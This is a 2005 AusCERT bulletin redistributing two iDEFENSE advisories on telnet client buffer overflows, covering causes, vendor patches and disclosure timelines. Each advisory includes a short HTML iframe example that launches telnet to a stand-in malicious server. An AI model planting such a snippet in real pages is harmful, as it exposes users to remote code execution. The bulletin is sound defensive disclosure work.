-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

===========================================================================
             AUSCERT External Security Bulletin Redistribution

          ESB-2005.0244 -- iDEFENSE Security Advisories 03.28.05
       Multiple Vendor Telnet Client Buffer Overflow Vulnerabilities
                               29 March 2005

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:           telnet client
Publisher:         iDEFENSE
Operating System:  Solaris
                   Linux variants
                   FreeBSD
                   BSD variants
                   Mac OS X
Impact:            Execute Arbitrary Code/Commands
Access:            Remote/Unauthenticated
CVE Names:         CAN-2005-0469 CAN-2005-0468

Original Bulletin: http://www.idefense.com/application/poi/display?id=220
                   http://www.idefense.com/application/poi/display?id=221

Comment: This bulletin contains two iDEFENSE advisories describing 
         different buffer overflow vulnerabilities in several telnet client 
         implementations.

- --------------------------BEGIN INCLUDED TEXT--------------------

Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability

iDEFENSE Security Advisory 03.28.05
www.idefense.com/application/poi/display?id=220&type=vulnerabilities
March 28, 2005

I. BACKGROUND

The TELNET protocol allows virtual network terminals to be connected to
over the internet. The initial description of the protocol was given in
RFC854 in May 1983. Since then there have been many extra features added
including encryption.

II. DESCRIPTION

Remote exploitation of an buffer overflow vulnerability error in 
multiple telnet clients may allow execution of arbitrary commands.

The vulnerability specifically exists in the handling of the LINEMODE
suboptions, in that there is no size check made on the output, which is
stored in a fixed length buffer. By sending a specially constructed
reply containing a large number of SLC (Set Local Character) commands, 
it is possible to overflow this buffer with server supplied data.

III. ANALYSIS

Successful exploitation would allow a remote attacker to execute 
arbitrary code in the context of the user which initiated the telnet 
process. In order to exploit this vulnerability, an attacker would need 
to convince the user to connect to their malicious server. It may be 
possible to automatically launch the telnet command from a webpage, for 
example:

<html><body>
<iframe src='telnet://malicious.server/'>
</body>

On opening this page the telnet client may be launched and attempt to 
connect to the host 'malicious.server'.

IV. DETECTION

iDEFENSE has confirmed the existence of the vulnerability in the telnet 
client included in the Kerberos V5 Release 1.3.6 package and the client 
included in the SUNWtnetc package of Solaris 5.9. It is suspected that 
most BSD based telnet clients are affected by this vulnerability.

V. WORKAROUND

iDEFENSE is currently unaware of any effective workarounds for this 
vulnerability.

VI. VENDOR RESPONSE

The following vendors have provided official responses related to this
vulnerability. Other vendors may be affected but have not provided an
official response.

Vulnerable:

- - ALT Linux
All supported ALT Linux distributions include telnet client derived from
OpenBSD 3.0. The slc_add_reply() buffer overflow vulnerability is
present in all our telnet clients.  Updated packages with fixes for
these issues will be released on March 28, 2005.
http://lists.altlinux.ru/pipermail/security-announce/2005-March/000287.html

- - Apple Computer, Inc.
Component:  Telnet
Available for: Mac OS X 10.3.8, Mac OS X Server 10.3.8
This is fixed in Security Update 2005-003, which is available at
http://docs.info.apple.com/article.html?artnum=61798

- - FreeBSD
FreeBSD-SA-05:01.telnet security advisory:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:01.telnet.asc

- - MIT (Kerberos)
This vulnerability is covered in the following upcoming advisory:
MITKRB5-SA-2005-001:
   http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2005-001-telnet.txt
patch against krb5-1.4:
      http://web.mit.edu/kerberos/advisories/2005-001-patch_1.4.txt

- - Openwall Project
The bugs are fixed starting with telnet package version 3.0-owl2.
   http://www.openwall.com/Owl/CHANGES-current.shtml

- - Red Hat, Inc.
Red Hat Enterprise Linux ships with telnet and krb5 packages vulnerable
to this issue.  New telnet and krb5 packages are now available along
with our advisory at the URLs below and by using the Red Hat Network
'up2date' tool.
   Red Hat Enterprise Linux - telnet
      http://rhn.redhat.com/errata/RHSA-2005-330.html
   Red Hat Enterprise Linux - krb5
      http://rhn.redhat.com/errata/RHSA-2005-327.html

- - Sun Microsystems Inc.
Sun confirms that the telnet(1) vulnerabilities do affect all
currently supported versions of Solaris:
   Solaris 7, 8, 9 and 10
Sun has released a Sun Alert which describes a workaround until patches
are available at:
   http://sunsolve.sun.com
   Sun Alert #57755  
The Sun Alert will be updated with the patch information once it becomes
available. Sun patches are available from:
   http://sunsolve.sun.com/securitypatch

Not Vulnerable:

- - CyberSafe Limited
The CyberSafe TrustBroker products, version 3.0 or later, are not vulnerable.

- - Hewlett-Packard Development Company, L.P.
HP-UX and HP Tru64 UNIX are not vulnerable.

- - InterSoft International, Inc.
InterSoft International, Inc. products NetTerm, SecureNetTerm and
SNetTerm are not affected by the slc_add_reply() buffer overflow
conditions.

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0469 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

02/18/2005  Initial vendor notification
03/28/2005  Coordinated public disclosure

IX. CREDIT

Gaël Delalleau credited with this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright © 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

- ---------------------------------------------------------------------------

Multiple Telnet Client env_opt_add() Buffer Overflow Vulnerability

iDEFENSE Security Advisory 03.28.05
www.idefense.com/application/poi/display?id=221&type=vulnerabilities
March 28, 2005

I. BACKGROUND

The TELNET protocol allows virtual network terminals to be connected to 
over the internet. The initial description of the telnet protocol was 
given in RFC854 in May 1983. Since then there have been many extra 
features added including encryption. 

II. DESCRIPTION

Remote exploitation of a buffer overflow vulnerability in multiple
telnet clients could allow the execution of arbitrary code.

The vulnerability specifically exists in the env_opt_add() function of
telnet.c. A buffer of a fixed size (256 bytes) is allocated to store the
result of the processing this function performs on network input. If
this buffer is not large enough to contain the string, the buffer is 
expanded by a further 256 bytes. This size is sufficient for most well 
formed input, as the buffer passed as input to the affected function is 
limited to the same size. However, due to the way the telnet protocol 
escapes certain characters, it is possible to increase the length of the
output by including a large run of characters which need escaping. This 
can allow the 256 byte input buffer to expand to a maximum of 512 bytes 
in the allocated storage buffer. If, after expanding the buffer by 256 
bytes, the buffer is still not large enough to contain the input, a heap
based buffer overflow occurs, which is exploitable on at least some 
affected platforms.

III. ANALYSIS

Successful exploitation of this vulnerability could allow an attacker to
execute arbitrary commands in the context of the user who launched the 
telnet client.

In order to exploit this vulnerability, an attacker would need to 
convince the user to connect to their malicious server. It may be 
possible to automatically launch the telnet command from a webpage, for 
example:

<html><body>
<iframe src='telnet://malicious.server/'>
</body>

On opening this page the telnet client may be launched and attempt to 
connect to the host 'malicious.server'.

IV. DETECTION

iDEFENSE has confirmed the existance of the vulnerability in the telnet 
client included in the Kerberos V5 Release 1.3.6 package and the client 
included in the SUNWtnetc package of Solaris 5.9. It is suspected that 
most BSD based telnet clients are affected by this vulnerability.

V. WORKAROUND

iDEFENSE is currently unaware of any effective workarounds for this 
vulnerability.

VI. VENDOR RESPONSE

The following vendors have provided official responses related to this
vulnerability. Other vendors may be affected but have not provided an
official response.

Vulnerable:

- - ALT Linux
All supported ALT Linux distributions include telnet client derived from
OpenBSD 3.0. The env_opt_add() buffer overflow vulnerability is present
in all our telnet clients.  Updated packages with fixes for these issues
will be released on March 28, 2005.
http://lists.altlinux.ru/pipermail/security-announce/2005-March/000287.html

- - Apple Computer, Inc.
Component:  Telnet
Available for: Mac OS X 10.3.8, Mac OS X Server 10.3.8
This is fixed in Security Update 2005-003, which is available at
http://docs.info.apple.com/article.html?artnum=61798

- - FreeBSD
FreeBSD-SA-05:01.telnet security advisory:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:01.telnet.asc

- - MIT (Kerberos)
This vulnerability is covered in the following upcoming advisory:
MITKRB5-SA-2005-001:
   http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2005-001-telnet.txt
patch against krb5-1.4:
      http://web.mit.edu/kerberos/advisories/2005-001-patch_1.4.txt

- - Openwall Project
The bugs are fixed starting with telnet package version 3.0-owl2.
   http://www.openwall.com/Owl/CHANGES-current.shtml

- - Red Hat, Inc.
Red Hat Enterprise Linux ship with telnet and krb5 packages vulnerable
to this issue.  New telnet and krb5 packages are now available along
with our advisory at the URLs below and by using the Red Hat Network
'up2date' tool.
   Red Hat Enterprise Linux - telnet
      http://rhn.redhat.com/errata/RHSA-2005-330.html
   Red Hat Enterprise Linux - krb5
      http://rhn.redhat.com/errata/RHSA-2005-327.html

- - Sun Microsystems Inc.
Sun confirms that the telnet(1) vulnerabilities do affect all
currently supported versions of Solaris:
   Solaris 7, 8, 9 and 10
Sun has released a Sun Alert which describes a workaround until patches
are available at:
   http://sunsolve.sun.com
   Sun Alert #57755  
The Sun Alert will be updated with the patch information once it becomes
available. Sun patches are available from:
   http://sunsolve.sun.com/securitypatch

Not Vulnerable:

- - CyberSafe Limited
The CyberSafe TrustBroker products, version 3.0 or later, are not
vulnerable.

- - Hewlett-Packard Development Company, L.P.
HP-UX and HP Tru64 UNIX are not vulnerable.

- - InterSoft International, Inc.
InterSoft International, Inc. products NetTerm, SecureNetTerm and
SNetTerm are not affected by the env_opt_add() buffer overflow
conditions.

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-0468 to this issue. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

02/18/2005  Initial vendor notifications
03/28/2005  Coordinated public disclosure

IX. CREDIT

Gaël Delalleau credited with this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright © 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.


- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

NOTE: Third Party Rights
This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to follow or act on information or advice
contained in this security bulletin is the responsibility of each user or
organisation, and should be considered in accordance with your organisation's
site policies and procedures. AusCERT takes no responsibility for consequences
which may arise from following or acting on information or advice contained in
this security bulletin.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:

        http://www.auscert.org.au/render.html?cid=1980

If you believe that your computer system has been compromised or attacked in 
any way, we encourage you to let us know by completing the secure National IT 
Incident Reporting Form at:

        http://www.auscert.org.au/render.html?it=3192

===========================================================================
Australian Computer Emergency Response Team
The University of Queensland
Brisbane
Qld 4072

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business hours
                which are GMT+10:00 (AEST).
                On call after hours for member emergencies only.
===========================================================================

-----BEGIN PGP SIGNATURE-----
Comment: http://www.auscert.org.au/render.html?it=1967

iQCVAwUBQkiliyh9+71yA2DNAQJTnQP+OBtP4lGZ/aseyJDNZ0VPGtqeRDxXXbYR
+pPbhUWTCkfKYHFsbMPGZV7tmFnBDX4SjsCmwK2DFYD4Py224fjpTAskBLzPDXqc
9ktXiblub9QbqqA/eNoCF+4cIJYMA6x5UulF7JQZ0mzDSnqu27LzIOugrjWYgXj7
S1RQf798jiM=
=7bGG
-----END PGP SIGNATURE-----